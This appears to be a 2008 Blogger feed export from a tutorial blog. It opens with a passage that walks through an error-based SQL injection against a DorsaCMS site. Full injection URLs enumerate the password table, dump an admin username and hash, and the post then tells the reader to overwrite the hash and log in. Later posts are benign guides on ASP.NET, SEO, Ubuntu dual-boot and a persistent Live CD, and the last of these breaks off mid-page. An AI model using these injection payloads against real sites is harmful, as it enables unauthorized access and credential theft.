/&gt;&lt;splan class="fullpost"&gt;Getting table which contains Username and Password:&lt;br /&gt;Easiest way is to search it:&lt;br /&gt;&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27))--&lt;br /&gt;&lt;br /&gt;table_name = Seller&lt;br /&gt;Its not that table we are seeking, so we keep on:&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2 or 1=convert(int,(select top 1 table_name from information_schema.columns where column_name like %27%pass%%27 and table_name not in ('Seller')))--&lt;br /&gt;&lt;br /&gt;Bingo&lt;br /&gt;Table_name = USER_&lt;br /&gt;&lt;br /&gt;Start to get username and pass from USER_:&lt;br /&gt;&lt;br /&gt;http://www.xxx.ir/ShowPage.aspx?page_=news〈=1&amp;tempname=fire⊂=0&amp;PageID=36&amp;PageIDF=2 or 1=convert(int,(select top 1 %2b'Username= '%2bconvert(varchar,isnull(convert(varchar,user_name),'NULL'))%2b' -- Password= : '%2bconvert(varchar,isnull(convert(varchar,Pass),'NULL')) from USER_ where Code='1'))&lt;br /&gt;&lt;br /&gt;user : admin&lt;br /&gt;pass : kaBY/8jRC+XbjSIIDhsHFmOX1B2pDd&lt;br /&gt;&lt;br /&gt;Update hash to a hash you know its decode and enjoy.&lt;br /&gt;&lt;br /&gt;login to portal :&lt;br /&gt;http://www.xxx.ir/Dorsapax/Signin.aspx&lt;br /&gt;&lt;br /&gt;ref. &lt;a href="http://milw0rm.com"&gt;milw0rm.com&lt;&lt;/a&gt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-6170969094325231772?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6170969094325231772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6170969094325231772'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/10/dorsacms.html' title='DorsaCms'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2821689520159762972</id><published>2008-10-20T00:47:00.001+07:00</published><updated>2008-10-20T00:50:54.048+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASP'/><title type='text'>.NET Overview</title><content type='html'>ASP.NET is a unified Web development model that includes the services necessary for you to build enterprise-class Web applications with a minimum of coding. ASP.NET is part of the .NET Framework, and when coding ASP.NET applications you have access to classes in the .NET Framework. You can code your applications in any language compatible with the common language runtime (CLR), including Microsoft Visual Basic, C#, JScript .NET, and J#. These languages enable you to develop ASP.NET applications that benefit from the common language runtime, type safety, inheritance, and so on.&lt;br /&gt;ASP.NET includes:&lt;br /&gt;• A page and controls framework&lt;br /&gt;• The ASP.NET compiler&lt;br /&gt;• Security infrastructure&lt;br /&gt;• State-management facilities&lt;br /&gt;• Application configuration&lt;br /&gt;• Health monitoring and performance features&lt;br /&gt;• Debugging support&lt;br /&gt;• An XML Web services framework&lt;br /&gt;• Extensible hosting environment and application life cycle management&lt;br /&gt;• An extensible designer environment&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt; Page and Controls Framework&lt;br /&gt;The ASP.NET page and controls framework is a programming framework that runs on a Web server to dynamically produce and render ASP.NET Web pages. ASP.NET Web pages can be requested from any browser or client device, and ASP.NET renders markup (such as HTML) to the requesting browser. As a rule, you can use the same page for multiple browsers, because ASP.NET renders the appropriate markup for the browser making the request. However, you can design your ASP.NET Web page to target a specific browser, such as Microsoft Internet Explorer 6, and take advantage of the features of that browser. ASP.NET supports mobile controls for Web-enabled devices such as cellular phones, handheld computers, and personal digital assistants (PDAs). &lt;br /&gt;ASP.NET Web pages are completely object-oriented. Within ASP.NET Web pages you can work with HTML elements using properties, methods, and events. The ASP.NET page framework removes the implementation details of the separation of client and server inherent in Web-based applications by presenting a unified model for responding to client events in code that runs at the server. The framework also automatically maintains the state of a page and the controls on that page during the page processing life cycle. The ASP.NET page and controls framework also enables you to encapsulate common UI functionality in easy-to-use, reusable controls. Controls are written once, can be used in many pages, and are integrated into the ASP.NET Web page that they are placed in during rendering.&lt;br /&gt;The ASP.NET page and controls framework also provides features to control the overall look and feel of your Web site via themes and skins. You can define themes and skins and then apply them at a page level or at a control level. In addition to themes, you can define master pages that you use to create a consistent layout for the pages in your application. A single master page defines the layout and standard behavior that you want for all the pages (or a group of pages) in your application. You can then create individual content pages that contain the page-specific content you want to display. When users request the content pages, they merge with the master page to produce output that combines the layout of the master page with the content from the content page. &lt;br /&gt; ASP.NET Compiler&lt;br /&gt;All ASP.NET code is compiled, which enables strong typing, performance optimizations, and early binding, among other benefits. Once the code has been compiled, the common language runtime further compiles ASP.NET code to native code, providing improved performance.&lt;br /&gt;ASP.NET includes a compiler that will compile all your application components including pages and controls into an assembly that the ASP.NET hosting environment can then use to service user requests. &lt;br /&gt; Security Infrastructure&lt;br /&gt;In addition to the security features of .NET, ASP.NET provides an advanced security infrastructure for authenticating and authorizing user access as well as performing other security-related tasks. You can authenticate users using Windows authentication supplied by IIS, or you can manage authentication using your own user database using ASP.NET forms authentication and ASP.NET membership. Additionally, you can manage the authorization to the capabilities and information of your Web application using Windows groups or your own custom role database using ASP.NET roles. You can easily remove, add to, or replace these schemes depending upon the needs of your application. For more information see the following topics:&lt;br /&gt;ASP.NET always runs with a particular Windows identity so you can secure your application using Windows capabilities such as NTFS Access Control Lists (ACLs), database permissions, and so on. For more information on the identity of ASP.NET.&lt;br /&gt; State-Management Facilities&lt;br /&gt;ASP.NET provides intrinsic state management functionality that enables you to store information between page requests, such as customer information or the contents of a shopping cart. You can save and manage application-specific, session-specific, page-specific, user-specific, and developer-defined information. This information can be independent of any controls on the page.&lt;br /&gt;ASP.NET offers distributed state facilities, which enable you to manage state information across multiple instances of the same application on one computer or on several computers. &lt;br /&gt; ASP.NET Configuration&lt;br /&gt;ASP.NET applications use a configuration system that enables you to define configuration settings for your Web server, for a Web site, or for individual applications. You can make configuration settings at the time your ASP.NET applications are deployed and can add or revise configuration settings at any time with minimal impact on operational Web applications and servers. ASP.NET configuration settings are stored in XML-based files. Because these XML files are ASCII text files, it is simple to make configuration changes to your Web applications. You can extend the configuration scheme to suit your requirements. &lt;br /&gt; Health Monitoring and Performance Features&lt;br /&gt;ASP.NET includes features that enable you to monitor health and performance of your ASP.NET application. ASP.NET health monitoring enables reporting of key events that provide information about the health of an application and about error conditions. These events show a combination of diagnostics and monitoring characteristics and offer a high degree of flexibility in terms of what is logged and how it is logged. For more information see ASP.NET Health Monitoring Overview.&lt;br /&gt;ASP.NET supports two groups of performance counters accessible to your applications:&lt;br /&gt;• The ASP.NET system performance counter group&lt;br /&gt;• The ASP.NET application performance counter group&lt;br /&gt; Debugging Support&lt;br /&gt;ASP.NET takes advantage of the run-time debugging infrastructure to provide cross-language and cross-computer debugging support. You can debug both managed and unmanaged objects, as well as all languages supported by the common language runtime and script languages. In addition, the ASP.NET page framework provides a trace mode that enables you to insert instrumentation messages into your ASP.NET Web pages. For more information see What's New in ASP.NET Tracing.&lt;br /&gt; XML Web Services Framework&lt;br /&gt;ASP.NET supports XML Web services. An XML Web service is a component containing business functionality that enables applications to exchange information across firewalls using standards like HTTP and XML messaging. XML Web services are not tied to a particular component technology or object-calling convention. As a result, programs written in any language, using any component model, and running on any operating system can access XML Web services. For more information, see XML Web Services Using ASP.NET.&lt;br /&gt; Extensible Hosting Environment and Application Life-Cycle Management&lt;br /&gt;ASP.NET includes an extensible hosting environment that controls the life cycle of an application from when a user first accesses a resource (such as a page) in the application to the point at which the application is shut down. While ASP.NET relies on a Web server (IIS) as an application host, ASP.NET provides much of the hosting functionality itself. The architecture of ASP.NET enables you to respond to application events and create custom HTTP handlers and HTTP modules. &lt;br /&gt; Extensible Designer Environment&lt;br /&gt;ASP.NET includes enhanced support for creating designers for Web server controls for use with a visual design tool such as Visual Studio. Designers enable you to build a design-time user interface for a control, so that developers can configure your control's properties and content in the visual design tool. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2821689520159762972?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2821689520159762972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2821689520159762972'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/10/net-overview.html' title='.NET Overview'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4491613468351158</id><published>2008-10-10T14:14:00.003+07:00</published><updated>2008-10-10T14:17:19.833+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SEO'/><title type='text'>Search engine optimization</title><content type='html'>Some tutorial Search engine optimization (SEO) is the process of improving the volume and quality of traffic to a web site from search engines via "natural" ("organic" or "algorithmic") search results for targeted keywords. Usually, the earlier a site is presented in the Search Engine Results Pages (SERPS) or the higher it "ranks", the more searchers will visit that site. Tutorial information, SEO can also target different kinds of searches, including image search, local search, and industry-specificvertical search engines.&lt;br /&gt;&lt;span class="fullpost"&gt;As a marketing strategy for increasing a site's relevance, SEO considers how search algorithms work and what people search for. SEO efforts may involve a site's coding, presentation, and structure, as well as fixing problems that could prevent search engine indexing programs from fully spidering a site. Another class of techniques, known as black hat SEO or spamdexing, use methods such as link farms and keyword stuffing that tend to harm search engine user experience. Search engines look for sites that employ these techniques and may remove them from their indices.&lt;br /&gt;The initialism "SEO" can also refer to "search engine optimizers", terms adopted by an industry of consultants who carry out optimization projects on behalf of clients, and by employees who perform SEO services in-house. Search engine optimizers may offer SEO as a stand-alone service or as a part of a broader marketing campaign. Because effective SEO may require changes to the HTML source code of a site, SEO tactics may be incorporated into web site development anddesign. The term "search engine friendly" may be used to describe web site designs, menus, content management systems, URLs, and shopping carts that are easy to optimize.&lt;br /&gt;&lt;br /&gt;Ref:&lt;br /&gt;http://en.wikipedia.org/wiki/Search_engine_optimization&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4491613468351158?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4491613468351158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4491613468351158'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/10/search-engine-optimization.html' title='Search engine optimization'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4433087925452831705</id><published>2008-09-29T01:35:00.004+07:00</published><updated>2008-09-29T01:39:53.291+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Dual-Boot Ubuntu and Windows</title><content type='html'>If you're not ready to give Ubuntu total control over your computer, you can meet it halfway. Learn how to install Ubuntu so you can dual-boot with Windows, even if Windows already owns your entire hard drive.&lt;br /&gt;details how to install Ubuntu Linux on your machine as the primary operating system. But what if you're not ready to ditch Windows, or you've got a business requirement to run a certain Windows-only application? A possible solution for you might be to enable your system to dual-boot both Windows and Ubuntu. A dual-boot system has multiple hard disk partitions or hard disks, with each partition or disk containing a complete operating system. Typically, there is a boot loader installed on the first hard disk in the system that lets you choose which operating system to boot when you power on the system.&lt;br /&gt;&lt;splan class="fullpost"&gt;&lt;br /&gt;The Dapper Drake version of Ubuntu supports setting up a dual-boot environment from within the installer. Previous versions also had this capability; however, Dapper's installer automatically shrinks your current Windows partition and makes space available for the Ubuntu installation. Prior to this feature, you had to manually shrink your current Windows partition using tools like PartitionMagic or qtparted.&lt;br /&gt;Preparation&lt;br /&gt;There are just a couple of preparation steps that must be taken prior to setting up a dual-boot system:&lt;br /&gt;• Your current Windows partition must be freshly defragmented to ensure that there is a large, contiguous block of free space available to dedicate to Ubuntu.&lt;br /&gt; There are some files that the Windows defragmentation utility can't move, so you may want to try a third-party defragmentation utility, such as Executive Software's Diskeeper (http://www.diskeeper.com/defrag.asp). However, if it's your swap (paging) file that refuses to budge, and you have sufficient memory to run without one, try disabling it (right-click My Computer, choose Properties, select Advanced Performance Settings Advanced Change, and choose No Paging File), defragmenting your hard drive using the Windows disk defragmenter, and then re-enabling the paging file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;• You must back up any critical data you have on your Windows partition. The Ubuntu installer tries to resize your partition as safely as it can, but like any other disk utility, there is a slim chance of a loss of data. Play it safe and back up anything you can't live without.&lt;br /&gt;Installation&lt;br /&gt;Let's get started on the dual-boot installation. (Something to remember is that the dual-boot installation is almost like a standard installation; the major difference lies in the method the partitioner uses to partition the hard disk.) First, boot from the CD, just like a standard standalone Ubuntu install. From the installer screen , select "Install to the hard disk," and press Enter. The installer will kick off and begin the installation.&lt;br /&gt;1. The Ubuntu installer, beginning a dual-boot install&lt;br /&gt;You'll follow the standard installation procedure, up to the point when the system will ask you how you want your disk partitioned. Rather than selecting "Erase entire disk," you'll select "Resize IDE1 master, partition #1 (hda1) and use freed space," as shown in&lt;br /&gt;2. Resizing the disk&lt;br /&gt;At this point, the partitioner will ask you how much space you wish to devote to Linux. Input your desired Linux partition size in either percent or gigabytes and select Continue&lt;br /&gt;3. Assigning the free space to Linux&lt;br /&gt;The partitioner will then ask you to confirm your decisions, and then it will write the changes to disk. If all looks good, select Yes to proceed, as shown in.&lt;br /&gt;4. Writing the partition changes to disk&lt;br /&gt;After this, the installer will actually partition the disk and format your new Linux partition as an ext3 filesystem, and then you'll be asked to enter your full name to create your Ubuntu account. From this point on, there is no difference between the dual-boot installation and a standard installation. The system will begin copying the binaries and other data from the CD-ROM, and at the end of the install, the GRUB boot loader will be written to the master boot record. The installer will prompt you to reboot, and you'll be able to select from Windows or Linux at boot time.&lt;/splan&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4433087925452831705?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4433087925452831705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4433087925452831705'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/09/dual-boot-ubuntu-and-windows.html' title='Dual-Boot Ubuntu and Windows'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8722335993603589692</id><published>2008-09-12T14:14:00.001+07:00</published><updated>2008-09-12T14:19:56.122+07:00</updated><title type='text'>Make Live CD Data Persistent</title><content type='html'>&lt;script type="text/javascript"&gt;&lt;!-- google_ad_client = "pub-2299833243847736"; /* 468x60, dibuat 08/05/17 */ google_ad_slot = "8195043962"; google_ad_width = 468; google_ad_height = 60; //--&gt;&lt;br /&gt;&lt;/script&gt;&lt;table class="MsoNormalTable" border="0" cellspacing="0" cellpadding="0" width="100%" style="width:100.0%;mso-cellspacing:0cm;mso-padding-alt:0cm 0cm 0cm 0cm"&gt;  &lt;tbody&gt;&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;mso-yfti-lastrow:yes"&gt;   &lt;td valign="top" style="padding:0cm 0cm 0cm 0cm"&gt;   &lt;h3&gt;Hack 3. Make Live CD Data Persistent&lt;/h3&gt;   &lt;p class="doctext"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;    &lt;v:stroke joinstyle="miter"&gt;    &lt;v:formulas&gt;     &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;     &lt;v:f eqn="sum @0 1 0"&gt;     &lt;v:f eqn="sum 0 0 @1"&gt;     &lt;v:f eqn="prod @2 1 2"&gt;     &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;     &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;     &lt;v:f eqn="sum @0 0 1"&gt;     &lt;v:f eqn="prod @6 1 2"&gt;     &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;     &lt;v:f eqn="sum @8 21600 0"&gt;     &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;     &lt;v:f eqn="sum @10 21600 0"&gt;    &lt;/v:formulas&gt;    &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;    &lt;o:lock ext="edit" aspectratio="t"&gt;   &lt;/v:shapetype&gt;&lt;v:shape id="_x0000_i1025" type="#_x0000_t75" alt="" style="'width:27pt;"&gt;&lt;![endif]--&gt;&lt;img width="36" height="36" src="file:///C:/DOCUME~1/hemlet/LOCALS~1/Temp/msohtml1/03/clip_image001.gif" shapes="_x0000_i1025" /&gt;&lt;/p&gt;   &lt;p class="doctext"&gt;&lt;span class="docemphbold"&gt;Take your desktop with you on a USB   stick and access it anywhere with the Ubuntu Live CD.&lt;/span&gt; &lt;/p&gt;   &lt;p class="doctext"&gt;&lt;a name="ID-ID-d390e0-800416"&gt;&lt;/a&gt;Wouldn't it be handy if you   could walk up to any random computer, insert a copy of the Ubuntu Live CD,   plug in a USB key, boot it up, and have a fully working system with your own   documents, settings, and programswithout modifying the computer in any way?&lt;/p&gt;   &lt;p class="doctext"&gt;A little-known feature of the Ubuntu Dapper Drake Live CD   allows you to do exactly that. When it starts up, it searches for a volume   that has been given the label &lt;span class="docemphasis"&gt;casper-cow&lt;/span&gt; and   uses it to store documents, themes, and even extra programs that you install.   This is far more powerful than just booting up a live CD and mounting a   memory stick as your home directory because it's not restricted to just   storing your documents. It gives you the flexibility of a fully installed   system, while retaining the "go anywhere" feature of a live CD.&lt;/p&gt;   &lt;p class="doctext"&gt;You can perform this trick with just about any storage   device, including removable USB hard disks and compact flash drives, but for   this hack we use a &lt;a name="ID-ID-d393e0-800417"&gt;&lt;/a&gt;USB memory stick because   they're cheap, portable, and commonly available in increasingly large   capacities.&lt;/p&gt;   &lt;h4&gt;&lt;a name="ID-d260e2161-SettheLabelonYourUSBMemoryS"&gt;&lt;/a&gt;Set the Label on   Your USB Memory Stick&lt;/h4&gt;   &lt;p class="doctext"&gt;Connect the USB memory stick to a computer running Ubuntu.   Ubuntu will probably mount it automatically, so the first thing to do is to   find the device name that it has been assigned. Open Applications&lt;!--[if gte vml 1]&gt;&lt;v:shape id="_x0000_i1028" type="#_x0000_t75" alt="" style="'width:24pt;height:24pt'/"&gt;&lt;![endif]--&gt;&lt;img width="32" height="32" src="file:///C:/DOCUME~1/hemlet/LOCALS~1/Temp/msohtml1/03/clip_image002.gif" shapes="_x0000_i1028" /&gt;Accessories&lt;!--[if gte vml 1]&gt;&lt;v:shape id="_x0000_i1029" type="#_x0000_t75" alt="" style="'width:24pt;height:24pt'/"&gt;&lt;![endif]--&gt;&lt;img width="32" height="32" src="file:///C:/DOCUME~1/hemlet/LOCALS~1/Temp/msohtml1/03/clip_image002.gif" shapes="_x0000_i1029" /&gt;Terminal and type the following at the   shell prompt:&lt;/p&gt;   &lt;pre&gt;$ &lt;b&gt;df -h&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="mso-spacerun:yes"&gt;            &lt;/span&gt;&lt;/pre&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;p class="doctext"&gt;to see a list of mounted volumes. The output should look   something like this:&lt;/p&gt;   &lt;pre&gt;Filesystem&lt;span style="mso-spacerun:yes"&gt;            &lt;/span&gt;Size&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;Used Avail Use% Mounted on&lt;/pre&gt;&lt;pre&gt;/dev/hda3&lt;span style="mso-spacerun:yes"&gt;              &lt;/span&gt;54G&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;19G&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;35G&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;36% /&lt;/pre&gt;&lt;pre&gt;varrun&lt;span style="mso-spacerun:yes"&gt;                &lt;/span&gt;506M&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;84K&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;506M&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;1% /var/run&lt;/pre&gt;&lt;pre&gt;varlock&lt;span style="mso-spacerun:yes"&gt;               &lt;/span&gt;506M&lt;span style="mso-spacerun:yes"&gt;     &lt;/span&gt;0&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;506M&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;0% /var/lock&lt;/pre&gt;&lt;pre&gt;udev&lt;span style="mso-spacerun:yes"&gt;                  &lt;/span&gt;506M&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;116K&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;506M&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;1% /dev&lt;/pre&gt;&lt;pre&gt;devshm&lt;span style="mso-spacerun:yes"&gt;                &lt;/span&gt;506M&lt;span style="mso-spacerun:yes"&gt;     &lt;/span&gt;0&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;506M&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;0% /dev/shm&lt;/pre&gt;&lt;pre&gt;/dev/hda1&lt;span style="mso-spacerun:yes"&gt;             &lt;/span&gt;221M&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;28M&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;181M&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;14% /boot&lt;/pre&gt;&lt;pre&gt;/dev/sda1&lt;span style="mso-spacerun:yes"&gt;             &lt;/span&gt;498M&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;214M&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;285M&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;43% /media/usbdisk&lt;/pre&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;p class="doctext"&gt;USB storage devices are emulated as SCSI devices by Linux,   and you can see the last device is listed as &lt;i&gt;/dev/sda1&lt;/i&gt;. This means   SCSI device A, partition 1. If you have anything on the memory stick that you   want to save, now is the time to copy it onto your computer, because you're   about to totally erase it.&lt;/p&gt;   &lt;p class="doctext"&gt;Once you've backed up your files, it's time to unmount the   device:&lt;/p&gt;   &lt;pre&gt;$ &lt;b&gt;sudo umount &lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="mso-spacerun:yes"&gt;               &lt;/span&gt;&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&lt;span style="mso-spacerun:yes"&gt;                  &lt;/span&gt;&lt;tt&gt;&lt;i&gt;/dev/sda1&lt;/i&gt;&lt;/tt&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&lt;span style="mso-spacerun:yes"&gt;               &lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="mso-spacerun:yes"&gt;            &lt;/span&gt;&lt;/pre&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;p class="doctext"&gt;Ubuntu is smart enough to figure out if you are   "in" the device (either on the command line or using the file   browser), so if the system refuses to unmount because the device is still in   use, just close any other windows you have open and try again.&lt;/p&gt;   &lt;p class="doctext"&gt;Then create a new filesystem with the correct label:&lt;/p&gt;   &lt;pre&gt;$ &lt;b&gt;sudo mkfs.ext3 -b 4096 -L casper-cow &lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="mso-spacerun:yes"&gt;         &lt;/span&gt;&lt;span style="mso-spacerun:yes"&gt;      &lt;/span&gt;&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&lt;span style="mso-spacerun:yes"&gt;                  &lt;/span&gt;&lt;tt&gt;&lt;i&gt;/dev/sda1&lt;/i&gt;&lt;/tt&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&lt;span style="mso-spacerun:yes"&gt;               &lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="mso-spacerun:yes"&gt;            &lt;/span&gt;&lt;/pre&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;div align="center"&gt;   &lt;table class="MsoNormalTable" border="0" cellspacing="0" cellpadding="0" width="90%" style="width:90.0%;mso-cellspacing:0cm;background:black"&gt;    &lt;tbody&gt;&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;mso-yfti-lastrow:yes"&gt;     &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;     &lt;table class="MsoNormalTable" border="0" cellspacing="0" cellpadding="0" width="100%" style="width:100.0%;mso-cellspacing:0cm;background:white;      mso-padding-alt:4.5pt 4.5pt 4.5pt 4.5pt"&gt;      &lt;tbody&gt;&lt;tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;mso-yfti-lastrow:yes"&gt;       &lt;td width="60" valign="top" style="width:45.0pt;padding:4.5pt 4.5pt 4.5pt 4.5pt"&gt;       &lt;p class="MsoNormal"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shape id="_x0000_i1030" type="#_x0000_t75" alt="" style="'width:39pt;height:37.5pt'/"&gt;&lt;![endif]--&gt;&lt;img width="52" height="50" src="file:///C:/DOCUME~1/hemlet/LOCALS~1/Temp/msohtml1/03/clip_image003.gif" shapes="_x0000_i1030" /&gt;&lt;/p&gt;       &lt;/td&gt;       &lt;td valign="top" style="padding:4.5pt 4.5pt 4.5pt 4.5pt"&gt;       &lt;p class="doctext"&gt;You must replace &lt;tt&gt;&lt;i&gt;&lt;span style="font-size:10.0pt"&gt;/dev/sda1&lt;/span&gt;&lt;/i&gt;&lt;/tt&gt;       with the actual device name used by your memory stick. If you have other       USB devices attached, it is possible that one of them has claimed this       device name. If in doubt, run the command &lt;span class="docemphasis"&gt;dmesg&lt;/span&gt;       right after you plug in the memory stick. You should see a message       indicating the name of the device that was used to represent your memory       stick.&lt;/p&gt;       &lt;/td&gt;      &lt;/tr&gt;     &lt;/tbody&gt;&lt;/table&gt;     &lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;     &lt;/td&gt;    &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;   &lt;/div&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;p class="doctext"&gt;This will create an &lt;span class="docemphasis"&gt;ext3&lt;/span&gt;   journaling filesystem, which is a good choice for general-purpose use, but,   if you prefer, you can use any filesystem that's supported by the Live CD.   The &lt;span class="docemphasis"&gt;mkfs.ext3&lt;/span&gt; command will report some   statistics about the new filesystem, and then you're ready to try it out.&lt;/p&gt;   &lt;h4&gt;&lt;a name="ID-d260e2408-BoottheLiveCDinPersistentMo"&gt;&lt;/a&gt;Boot the Live CD in   Persistent Mode&lt;/h4&gt;   &lt;p class="doctext"&gt;&lt;a name="ID-ID-d396e0-800419"&gt;&lt;/a&gt;Plug your USB memory stick   into the target machine, power up the computer, and quickly insert the Dapper   Drake Live CD. If the computer is not configured to boot from CD-ROM, you may   need to press a key (typically Del or F2) at startup to enter the BIOS   settings menu; you then need to change the order of the boot devices to put   CD-ROM at the top of the list, and then select the Exit option (the one that   saves your changes to the BIOS) from the BIOS menu. The computer will then   boot up again and look for the Live CD before attempting to boot from the   hard disk. Some computers have a menu (often activated by F12) that lets you   choose which device to boot from without having to make changes to your BIOS.&lt;/p&gt;   &lt;div align="center"&gt;   &lt;table class="MsoNormalTable" border="0" cellspacing="0" cellpadding="0" width="90%" style="width:90.0%;mso-cellspacing:0cm;background:black"&gt;    &lt;tbody&gt;&lt;tr 